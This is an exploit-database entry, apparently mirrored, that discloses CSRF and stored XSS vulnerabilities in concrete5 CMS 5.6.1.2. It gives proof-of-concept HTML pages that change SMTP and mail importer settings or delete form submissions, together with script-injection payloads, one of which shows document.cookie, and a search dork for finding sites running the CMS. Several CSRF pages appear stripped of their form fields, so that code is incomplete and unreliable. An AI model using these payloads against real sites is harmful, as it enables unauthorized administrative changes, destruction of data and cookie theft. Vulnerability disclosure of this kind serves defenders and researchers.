发布 2013-06-10 漏洞条目

Concrete5 CMS 5.6.1.2 – Multiple Vulnerabilities

Exploit Source

=============================================================

__ __ _ ___ _ __ ____

\ \ / / | | / _ \ (_) /_ | |___ \

___ \ V / _ __ | | | | | | _ | | __) | _ __

/ _ \ > < | '_ \ | | | | | | | | | | |__ < | '__|

| __/ / . \ | |_) | | | | |_| | | | | | ___) | | |

\___| /_/ \_\ | .__/ |_| \___/ |_| |_| |____/ |_|

| |

|_| blackpentesters.blogspot.com

=============================================================

###########################################################################################

# Exploit Title: [ concrete5 CMS v5.6.1.2 Multiple CSRF and Stored XSS Vulnerabilities] #

# Date: [2013-6-9] #

# Exploit Author: [expl0i13r] #

# Vendor Homepage: [http://www.concrete5.org/] #

# Software Link: [http://www.concrete5.org/download_file/-/view/51635/8497/] #

# Version: [5.6.1.2] #

# Goole Dork: [Built with concrete5 - an open source CMS] #

# Tested on: [Windows] #

# Contact: expl0i13r@gmail.com #

###########################################################################################

Summary:

========

1. CSRF (Modify SMTP Settings)

2. CSRF (Modify Mail Importers Settings)

3. CSRF (Delete Form Results)

4. Stored XSS

1. CSRF (Modify SMTP Settings):

================================

concrete5 v5.6.1.2 suffers from multiple CSRF vulnerabilities one of which allow an attacker

to modify "SMTP Settings" and "Send Mail Method" available at below URL :

Affected URL:

--------------

http://127.0.0.1/concrete5.6.1.2/concrete5.6.1.2/index.php/dashboard/system/mail/method/

----------------------------------------------------------------------------------------

Note: Below code collects form details,send and update it, when Victim loads this page

----------------------------------------------------------------------------------------

<html>

<head>

function submitform()

{

document.getElementById('myForm').submit();

}

</script>

</head>

<body>

</form>

document.myForm.submit()

</script>

</body>

</html>

2. CSRF (Modify Mail Importer Settings)

=========================================

Below code exploits CSRF vulnerability which allows attacker to Edit and update "Importer Settings" details.

Affected URL :

---------------

http://127.0.0.1/concrete5.6.1.2/concrete5.6.1.2/index.php/dashboard/system/mail/importers/edit_importer/1/

----------------------------------------------------------------------------------------

Note: Below code collects form details,send and update them, when Victim loads this page

----------------------------------------------------------------------------------------

<html>

<head>

function submitform()

{

document.getElementById('myForm').submit();

}

</script>

</head>

<body>

</select>

</select>

</select>

document.myForm.submit()

</script>

</body>

</html>

3. CSRF (Delete Form Results)

===============================

Each Submissions available at "REPORTS" > "Form Results" page has static "qsID" assigned, using which attacker can delete submissions.

Ex.

---

When we install this CMS, "Contact Us" form by default available at URL : http://127.0.0.1/concrete5.6.1.2/concrete5.6.1.2/index.php/blog/hello-world/about/contact-us/

For above "Contact Form", qsID in my case is "1370626098", which can be found at url:

--------------------------------------------------------------------------------------

http://127.0.0.1/concrete5.6.1.2/concrete5.6.1.2/index.php/dashboard/reports/forms/

--------------------------------------------------------------------------------------

<a href="https://www.exploit-db.com/concrete5.6.1.2/concrete5.6.1.2/index.php/dashboard/reports/forms/?qsID=1370626098&action=deleteFormAnswers" class="btn small error delete-form-answers ccm-button-v2-left">Delete Submissions</a>

------------------------------------------------------------------------------------------------------

In order to exploit this CSRF, attacker must have "qsID" values, for which attacker needs to have at least Limited access to CMS.

Steps:

------

1. Attacker logs in to CMS

2. Navigates to "http://127.0.0.1/concrete5.6.1.2/concrete5.6.1.2/index.php/dashboard/reports/forms/"

3. Gets Static "qsID" value from source code

4. Use "qsID" to create below CSRF exploit

Code:

-------

<html>

<head>

function delete()

{

# Delete Submissins "Contact Us" page

window.open("http://127.0.0.1/concrete5.6.1.2/concrete5.6.1.2/index.php/dashboard/reports/forms/?qsID=1370626098&action=deleteFormAnswers")

}

</script>

</head>

</body>

</html>

4. Multiple Stored XSS

=======================

concrete5 CMS also suffers from Stored XSS vulnerability, which can be used to "Delete Form Results"

everytime page is loaded.

Stored XSS-1

============

URL:

----

http://127.0.0.1/concrete5.6.1.2/concrete5.6.1.2/index.php/dashboard/users/add_group/

Vulnerable Parameter:

----------------------

XSS-CSRF Payload:

------------------

"><script>window.open("http://127.0.0.1/concrete5.6.1.2/concrete5.6.1.2/index.php/dashboard/reports/forms/?qsID=1370626098&action=deleteFormAnswers");alert('Form Result Data Deleted - eXpl0i13r')</script>

Stored XSS-2:

=============

URL:

-----

http://127.0.0.1/concrete5.6.1.2/concrete5.6.1.2/index.php/dashboard/system/attributes/sets/

Vulnerable Parameter:

----------------------

Payload:

---------

"><script>alert('hacked by eXpl0i13r\n'+document.cookie)</script>

##################################

# eXpl0i13r #

# ------------------------------ #

#|blackpentesters.blogspot.com |#

#|infotech-knowledge.blogspot.in|#

# ------------------------------ #

##################################

作者: expl0i13r
日期: 2013-06-10
类别: webapps
平台: php

相关漏洞条目

Prodigy Commerce 3.3.0 – Local File Inclusion

Langflow 1.3.0 – Remote Code Execution

Quick Playground for WordPress 1.3.1 – Unauthenticated Remote Code Execution

MikroORM 7.0.13 – SQL Injection